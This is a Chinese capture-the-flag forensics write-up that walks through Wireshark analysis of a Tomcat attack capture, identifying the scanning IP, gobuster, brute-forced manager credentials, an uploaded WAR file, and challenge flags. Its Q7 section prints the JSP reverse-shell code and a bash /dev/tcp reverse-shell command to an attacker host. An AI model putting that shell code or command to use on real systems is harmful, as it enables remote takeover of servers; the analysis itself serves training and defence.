做营销网站 如何让商家入驻/国家免费职业技能培训
题目网址【玄机】:https://xj.edisec.net/
Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是最受欢迎的Java EE Web应用服务器之一。
问一、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
题目思路:
根据标题命名得知分析的是tomcat流量包,老样子,我们可以直接查看分组计数器进行分析。通过对统计数据的分析,我们可以得到http数据大致的访问信息,再通过查询语句过滤流量包得到成功访问的流量包
方法:
1、左键点击“统计”->“HTTP”->“分组计数器”查看分析HTTP流量数据
可以看到大部分都是GET请求的数据包,只有1个POST请求包(习惯性看了一下这个POST请求包,果然有收获,大致看一眼请求包内容盲猜上传了木马文件—文件里面有上传的文件,这个留着后面有用),先看一下GET请求的数据包
2.http.request.method==GET 查看GET请求的数据包
大致翻看了一下,流量里面一个就两个请求的地址10.0.0.115和14.0.0.120,而10.0.0.115又和受害主机一个地址段,很合理的理由怀疑14.0.0.120(当然,如果仔细翻看一下流量,可以看出应该是黑客使用工具对目录进行了扫描,实际情况中遇到了也可以向甲方确认一下地址)
flag{14.0.0.120}
问二、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
题目思路:
一开始没好好读题,还以为出题者想要让我们通过流量包中的经纬度坐标来确定城市位置(wireshark安装第三方 GeoIP 数据库可以实现,有兴趣的大家可以实验一下),又看了看题目发现提示了通过IP查找,那就直接上工具了,分享两个网页工具:
站长之家:IP所在地批量查询 - 站长工具
IP属地查询:ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名
方法:
直接使用网页工具查询,得到了广州市
flag{guangzhou}
问三、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
题目思路:
该题目中受害者主机只有一个端口开放了网页服务,所以还是可以直接通过GET请求包内容就可以查看了
方法:
http.request.method==GET 查看GET请求的数据包,随意一个请求包右键“追踪流”->“HTTP流”
可以看到请求的端口号是8080
flag{8080}
问四、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
题目思路:
前面分析过,流量像是受到了目录扫描,应该使用的是目录扫描工具,这时候就可以看一下User-Agent,大多数没有魔改过的扫描器User-Agent都是带有特征的
方法:
http.request.method==GET 查看GET请求的数据包,依据是选一个请求包右键“追踪流”->“HTTP流”(但是需要注意选择源地址为14.0.0.120地址的)
可以看到使用的工具是gobuster(感觉这个现在用的比较少了,感兴趣的可以自行了解一下)
flag{gobuster}
问五、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
题目思路:
原本是想直接搜索例如:“user”、“pass”这类的关键字的,但是搜索查看了好一阵没有什么结果,在查看username字段时发现了一个账号密码但是发现不是这个账号密码(这好像是个报错,其中tomcat-users.html文件中是存储tomcat账户密码的文件),翻找了一下报文,发现后面的请求包中多了一个Authorization字段,解码后分析得到正确的账号密码
Authorization
字段用于在客户端请求中包含访问令牌或认证凭据,以便服务器能够验证请求者的身份。当客户端需要访问受保护的资源时,服务器可能会首先发送一个401 Unauthorized
响应,要求客户端提供有效的认证信息。然后客户端会在随后的请求中包含Authorization
头,以获取对资源的访问权限。
方法:
1.http contains "username" 查看http协议中包含username的流量包
2.点击最后一个流量包(一般后面的都是成功访问的,从后往前找比较方便,也可以比较流量包的大小来查找),右键“追踪流”->“HTTP流”,向下翻找,也可直接搜索Authorization,同样翻找到最后,发现有成功回显200的响应包
3.复制Basic后面的值进行base64解密,得到账号密码
flag{admin-tomcat}
问六、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
题目思路:
这时候就用到前面说的POST请求包了,记得前面说了应该是上传了一个文件,现在去搜索看一下
方法:
1. http.request.method == POST 查看POST请求的数据包
2.右键“追踪流”->“HTTP流”,可以查看到上传文件的文件名
flag{JXQOZY.war}
问七、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
题目思路:
本来想着直接搜索一下上传的文件名,看一下干了什么操作,但是通过搜索并没有发现什么有用的信息,这时候就想着既然流量包里面有压缩文件的源码,不如直接下载下来,看看黑客到底上传了什么文件,后面拿到文件后也是成功找到了黑客入侵后执行的命令
方法:
1.左键“文件”->“导出对象”->“HTTP”,翻找一下,找到图中这三个文件就是有关于黑客上传木马的文件,把这个三个文件都都出来(因为前两个重名了,我就分别重命名为了111和222)
2.分别使用编辑器打开,发现最后一个是空的,那就不用看了,第二个一眼就看出来是html文件,可以将后缀改为html进行查看
打开后可以看到这个就是默认的界面,里面还存在着文件上传的接口
3.查看111文件,就是一个压缩包的源码,把多余的都删除掉,只留下源码部分再更改文件后缀为zip(本人电脑不支持解压war用zip替代一下,一样可以用)
4.这时我们就可以看到黑客上传的文件内容了,里面一共两个文件,主要的内容在rzpmxxmm.jsp当中,我们来解析一下代码
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {ShellPath = new String("/bin/sh");
} else {ShellPath = new String("cmd.exe");
}Socket socket = new Socket( "10.0.0.142", 80 );Process process = Runtime.getRuntime().exec( ShellPath );( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();} catch( Exception e ) {}
这行代码获取当前操作系统的名称,转换为小写,然后检查是否不包含子字符串"windows";如果不是Windows操作系统,则将变量
ShellPath
设置为"/bin/sh"
,这是linux系统上的shell路径;如果操作系统是Windows,则将ShellPath
设置为"cmd.exe"
,这是Windows系统上的命令行解释器;创建一个新的Socket
对象,尝试连接到IP地址10.0.0.142
上的端口80
(HTTP默认端口)。
5.到这里我们已经得到了想要的信息了,黑客创建了一个Socket,端口使用的是80;我们使用命令进行搜索,ip.src == 10.0.0.112 && tcp.port == 80 过滤源地址为10.0.0.112和端口为80的流量包
6.右键“追踪流”->“HTTP流”,查看流量包内容,可以看到黑客执行的命令,根据题目提示我们了解到是进行权限维持的命令,而最后一条命令就是反弹一个新的shell
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
后续
此时就已经结束了,但是好奇心驱使下,还是查看了一下后面黑客执行的操作,使用命令:
ip.src == 10.0.0.112 && tcp.port == 443 过滤源地址为10.0.0.112和端口为443的流量包
我们通过回显的信息可以看到其实黑客在登录后就直接就使用exit命令退出了,并没有继续进行下一步操作
后续本人会陆续在公众号进行更新,希望大家点点关注!谢谢大佬们!
相关文章:

[玄机]流量特征分析-常见攻击事件 tomcat
题目网址【玄机】:https://xj.edisec.net/ Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是…...

【TOOLS】Project 2 Maven Central
发布自己的项目到maven中央仓库 Maven Central Account 访问:https://central.sonatype.com/,点击右上角,根据提示注册账号 构建User token ,用于访问中央仓库的API: 点击右上角,查看账户点击Generate Us…...

【Opencv】模糊
消除噪声 用该像素周围的平均值代替该像素值 4个函数 blur():最经典的 import os import cv2 img cv2.imread(os.path.join(.,dog.jpg)) k_size 7 #窗口大小,数字越大,模糊越强 img_blur cv2.blur(img,(k_size,k_size)) #窗口是正方形ÿ…...

函数式编程范式
文章目录 函数式编程范式不可变性(Immutable)纯函数(Pure Functions)函数作为一等公民(First-Class Functions)高阶函数(Higher-Order Functions函数组合(Function Composition&…...

特征缩放的秘籍:sklearn中的数据标准化技术
特征缩放的秘籍:sklearn中的数据标准化技术 在机器学习中,特征缩放(Feature Scaling)是数据预处理的重要步骤,它确保了不同量纲和范围的特征在模型训练中具有相同的重要性。Scikit-learn(简称sklearn&…...

hdfs文件系统
简述什么是HDFS,以及HDFS作用 ? HDFS在Hadoop中的作用是为海量的数据提供了存储,能提供高吞吐量的数据访问,HDFS有高容错性的 特点,并且设计用来部署在低廉的硬件上;而且它提供高吞吐量来访问应用程序的数…...

基于STM32设计的个人健康检测仪(华为云IOT)(191)
基于STM32设计的个人健康检测仪(华为云IOT)(191) 文章目录 一、设计需求1.1 设计需求总结1.2 设计思路【1】整体设计思路【2】整体构架【3】ESP8266模块配置【4】上位机开发思路【5】供电方式1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】课题研究的意义【…...

面试:CUDA Tiling 和 CPU tiling 技术详解
目录 一、CUDA Tiling 和 CPU Tiling 技术概述 (一)技术原理 (二)应用场景 (三)优势和劣势 二、Tiling 技术在深度学习中的应用 三、Tiling 技术的缺点 一、CUDA Tiling 和 CPU Tiling 技术概述 Til…...

SQL语句中,`TRUNCATE` 和 `DELETE`的区别
TRUNCATE 和 DELETE 是 SQL 中用于删除表中数据的两种命令,它们有一些关键区别: 1. 基本区别 DELETE: 删除表中的数据,但不会删除表结构和索引。可以使用 WHERE 子句来删除特定的记录,也可以不使用 WHERE 子句来删除所有记录。会…...

【Git】.gitignore全局配置与忽略匹配规则详解
设置全局配置 1)在C:/Users/用户名/目录下创建.gitignore文件,在里面添加忽略规则。 如何创建 .gitignore 文件? 新建一个.txt文件,重命名(包括后缀.txt)为 .gitignore 即可。 2)将.gitignore设…...

基于 YOLO V10 Fine-Tuning 训练自定义的目标检测模型
一、YOLO V10 在本专栏的前面几篇文章中,我们使用 ultralytics 公司开源发布的 YOLO-V8 模型,分别 Fine-Tuning 实验了 目标检测、关键点检测、分类 任务,实验后发现效果都非常的不错,但它已经不是最强的了。最新的 YOLO-V10 已经…...

Java学习2
1 如果要使用Long类型的变量,在数据值的后面加上L为后缀(可以是大写也可以是小写),例如 Long i9999999L; 2 如果要使用float类型的变量,在数据值的后面加上F为后缀(可以是大写也可以是小写)&a…...

CSS、less、 Sass、
1 CSS 1.1 css中.a.b 与 .a .b(中间有空格)的区别 区别: .a.b是获取同时含有a和b的元素.a .b(中间有空格),是获取.a元素下的所有.b元素<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name=&quo…...

北京大学:利用好不确定性,8B小模型也能超越GPT-4
大模型有一个显著的特点,那就是不确定性——对于特定输入,相同的LLM在不同解码配置下可能生成显著不同的输出。 比如问一问chatgpt“今天开心吗?”,可以得到两种不同的回答。 常用的解码策略有两种,一个是贪婪解码&am…...

哪些云服务商已通过了等保2.0合规性评估?
已通过等保2.0合规性评估的云服务商 根据最新的搜索结果,以下是已通过等保2.0合规性评估的云服务商: 阿里云:阿里云的“电子政务云平台系统”是全国首个通过等保2.0国标测评的云平台,显示了其在云计算领域的安全合规能力。华为云…...

PHP在线加密系统源码
历时半年,它再一次迎来更新[飘过] 刚刚发的那个有点问题,重新修了一下 本次更新内容有点多 1. 更新加密算法(这应该是最后一次更新加密算法了,以后主要更新都在框架功能上面了) 2. 适配php56-php74 3. 取消批量加…...

OpenCV学习笔记 比较基于RANSAC、最小二乘算法的拟合
一、RANSAC算法 https://skydance.blog.csdn.net/article/details/134887458https://skydance.blog.csdn.net/article/details/134887458 二、最小二乘算法 https://skydance.blog.csdn.net/article/details/115413982...

前端JS特效第53集:带声音的烟花模拟绽放特效插件
带声音的烟花模拟绽放特效插件,先来看看效果: 部分核心的代码如下(全部代码在文章末尾): <!DOCTYPE html> <html lang"en" > <head><meta charset"UTF-8"><title>Firework Simulator v2&…...

好展位,抢先订!2025浙江(玉环)机械展
2025第18届浙江(玉环)机械工业展览会 时间地点:2025年4月25-28日 玉环会展中心 近年来,随着玉环工业经济的蓬勃发展,汽摩配件、阀门水暖五金产业、铜加工、眼镜配件、金属加工生产等行业,如同贪婪的巨人&…...

Java面试八股之Spring如何解决循环依赖
Spring如何解决循环依赖 在Spring框架中,循环依赖问题通常发生在两个或多个Bean相互依赖的情况下。Spring为了解决循环依赖问题,采用了不同的策略,这些策略主要取决于Bean的作用域以及依赖注入的方式。下面是一些关键点: 单例Be…...

如何为 SQL Server 设置强密码以增强安全性?
为 SQL Server 设置强密码是增强数据库安全性的重要步骤。以下是一些关键步骤和最佳实践: 1. 使用复杂密码 长度:密码应至少为 12 个字符。字符类型:包括大写字母、小写字母、数字和特殊字符(如 !#$%^&*())。避免…...

C语言实现三子棋
通过一段时间的学习,我们已经能够较为熟练地使用分支语句,循环语句,创建函数,创建数组,创建随机数等。之前我们做过一个扫雷游戏,今天让我们再尝试创作一个三子棋游戏吧~ 一、三子棋游戏的思路 三子棋的游…...

昇思25天学习打卡营第XX天|RNN实现情感分类
希望代码能维持开源维护状态hhh,要是再文件整理下就更好了,现在好乱,不能好fork tutorials/application/source_zh_cn/nlp/sentiment_analysis.ipynb MindSpore/docs - Gitee.com...

linux深度学习环境配置(cuda,pytorch)
显卡驱动 首先查看linux服务器是否存在显卡驱动,可以输入以下命令 nvidia-smi如果没有直接显示下面的画面 则进行下面的步骤: ubuntu-drivers devices sudo ubuntu-drivers autoinstall上述步骤的意思是直接在线安装 然后重启linux服务器 reboot发现…...

SpringBoot教程(十九) | SpringBoot集成Slf4j日志门面
SpringBoot教程(十九) | SpringBoot集成Slf4j日志门面 一、概述二、前言三、引入依赖 (不需要额外引入了)四、自定义Logback的配置文件(一般都需配置)情况一:不配置任何关于logback的配置文件情况二:配置关…...

科普文:深入理解ElasticSearch体系结构
概叙 Elasticsearch是什么? Elasticsearch(简称ES)是一个分布式、可扩展、实时的搜索与数据分析引擎。ES不仅仅只是全文搜索,还支持结构化搜索、数据分析、复杂的语言处理、地理位置和对象间关联关系等。 官网地址:…...

极限学习机(ELM)预测模型及其Python和MATLAB实现
### 一、背景 在机器学习和数据挖掘领域,预测模型旨在从过往数据中学习规律,以便对未知数据进行预测。随着数据量的激增和计算能力的提升,各种算法不断涌现。其中,极限学习机(Extreme Learning Machine, ELM࿰…...

基于Python的哔哩哔哩国产动画排行数据分析系统
需要本项目的可以私信博主,提供完整的部署、讲解、文档、代码服务 随着经济社会的快速发展,中国影视产业迎来了蓬勃发展的契机,其中动漫产业发展尤为突出。中国拥有古老而又璀璨的文明,仅仅从中提取一部分就足以催生出大量精彩的…...

Java导出Excel给每一列设置不同样式示例
Excel导出这里不讲,方法很多,原生的POI可以参照 Java原生POI实现的Excel导入导出(简单易懂) 这里只说怎么给Excel每一列设置不同的样式,比如下面这样的 直接上代码 Overridepublic void exportTemplate(HttpServletRe…...

2.1、matlab绘图汇总(图例、标题、坐标轴、线条格式、颜色和散点格式设置)
1、前言 在 MATLAB 中进行绘图是一种非常常见且实用的操作,可以用来可视化数据、结果展示、分析趋势等。通过 MATLAB 的绘图功能,用户可以创建各种类型的图形,包括线图、散点图、柱状图、曲线图等,以及三维图形、动画等复杂的可视化效果。 在绘图之前,通常需要先准备好要…...